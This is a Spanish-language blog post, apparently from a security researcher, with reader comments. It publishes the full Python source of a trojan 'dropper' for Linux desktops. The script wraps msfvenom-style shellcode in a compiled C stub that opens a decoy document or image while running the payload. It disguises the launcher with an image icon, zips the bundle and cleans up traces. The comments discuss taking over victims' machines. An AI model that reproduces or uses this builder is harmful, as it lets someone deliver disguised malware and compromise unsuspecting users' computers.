
En consecuencia, recibimos algunos comentarios que objetaban principalmente dos puntos de nuestra prueba de concepto, ambas aplicables a la distribución Debian con LXDE:

2.- El ícono ejecutable del troyano es una señal inconfundible para un usuario medianamente acostumbrado a usar cualquier distribución de Linux. En consecuencia, sólo "L-users" muy poco acostumbrados a usar Linux caerían en esta trampa.
Ambas objeciones tienen poco que ver con la técnica del "executable dropper" y más con la implementación de estos ataques de forma práctica (i.e. en el campo). Como es usual, estos detalles de campo se dejan por fuera de las pruebas de concepto por distintas razones, pero la principal es para no distraer la atención de la técnica demostrada.

PD: Los elementos adicionales agregados al script anterior para lograr este nivel de ingeniería social se dejan como tarea al lector. Lo siento, "secrets of the trade" ;-).
PD2: Si, "secrets of the trade", pero para estar en linea con los amigos de Offensive Security: "I can be bribed, though".
Actualización: La demanda popular me convenció a publicar el código de este dropper.
Advertencia: El código a continuación podría probablemente usarse de ejemplo para todo lo que *no* debe hacerse al programar. Como siempre, estas cosas son el producto de unos cuantos minutos de ocio que se juntan con un poquito de curiosidad. Aquí hay cualquier cantidad de oportunidad de mejora y hasta para hacerlo que funcione correctamente en casos generales. Pero a falta de tiempo para hacerlo y para no frenar al resto de Internet, aquí esta:
#! /usr/bin/python
import subprocess,sys
def get_host_bytes(f):
res = ""
with open(f, "rb") as f:
byte = f.read(1)
while byte != b"":
# Do stuff with byte.
res += str(ord(byte)) + ","
byte = f.read(1)
return res
def execute_os(cmd):
cmd_array = cmd.split()
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err
return res
if len(sys.argv) < 3:
print "Usage: " + sys.argv[0] + " <.odt|.avi|.jpg|.*> "
sys.exit(0)
flags = "-m32 -z execstack -fno-stack-protector"
if "x64" in sys.argv[2]:
flags = "-m64 -z execstack -fno-stack-protector"
host_name = sys.argv[1]
bs = get_host_bytes(host_name)
se_binary = ".self_extracting_archive"
se_desktop = "Extract.both.files.on" + ".desktop"
#payload_cmd = "msfvenom -p windows/shell_bind_tcp -f c"
payload_cmd = sys.argv[2]
payload = execute_os(payload_cmd)
host_skel = '''#include <stdlib.h>
#include <stdio.h>
%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;
int main(void){
fp = fopen(host_output, "w");
fwrite(host,1,sizeof(host),fp);
fclose(fp);
p = fork();
if (p == 0){
((void (*)()) buf)();
} else {
system("xdg-open /tmp/%s");
}
}
'''
hh = host_skel % (payload,bs,host_name,host_name)
c_code = open("/tmp/x.c","w")
c_code.write(hh)
c_code.close()
# Icon=gnome-mime-image-jpeg for jpg
# TODO if jpeg then else
icon = "gnome-mime-image-jpeg"
dfile_skel = '''[Desktop Entry]
Version=1.0
Type=Application
Name=%s
Exec=bash -c '"$(dirname "$1")"/%s' dummy %%k/t
Icon=%s
'''
dfile_txt = dfile_skel % (host_name,se_binary, icon)
dfile = open(se_desktop,"w")
dfile.write(dfile_txt)
dfile.close()
cmd_array = ["gcc"] + flags.split() + ["-o", ".self_extracting_archive", "/tmp/x.c"]
p = subprocess.Popen(cmd_array, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
res, err = p.communicate()
print err
create_zip = "zip %s.zip %s %s" % (host_name, se_binary, se_desktop)
execute_os(create_zip)
delete_temps = "rm -f /tmp/x.c %s %s" % (se_binary, se_desktop)
execute_os(delete_temps)
Excelente, tomas el control del equipo, los puristas de linux dirán que no tienes un usuario System como lo podrías tener en Windows, aunque sería un tanto trivial escalar privilegios, creo que si la demo hubiese terminado con eso, hubiese sido más pro aquello de "paranoia" contando que el usuario vulnerado no está registrado en sudoers :D
ResponderEliminarAunque ciertamente en un PC de escritorio, la información más importante está en la cuenta del usuario, y no en la de root :D fotos, documentos, etc.
ResponderEliminarPor cierto, me quedé en el pasado? como que soy oldschool? ya no usamos Metal de fondo musical? casi me duermo antes de terminar de ver el video jejejej... Saludos
ResponderEliminarLOL. Gracias por los comentarios. El 0day de elevación de privilegios en Linux es para los proximos artículos/videos (mmm, no), sin embargo el Metal si que de ahora en adelante no faltará. #lol.
ResponderEliminarJajaja, sin Metal, no hay paraiso...
ResponderEliminarPor cierto, será bueno comentar en tu blog, que tanto xdg-open como el mismo navegador, no verifican el tipo real del archivo a ejecutar y ejecutan por extensión, por lo que el navegador puede ser un vector interesante para explotar estos features :D como lo vimos la semana pasada.
Saludos
Hola, puedo contactarte? mi correo es german.sabogal@hotmail.es Gracias
ResponderEliminar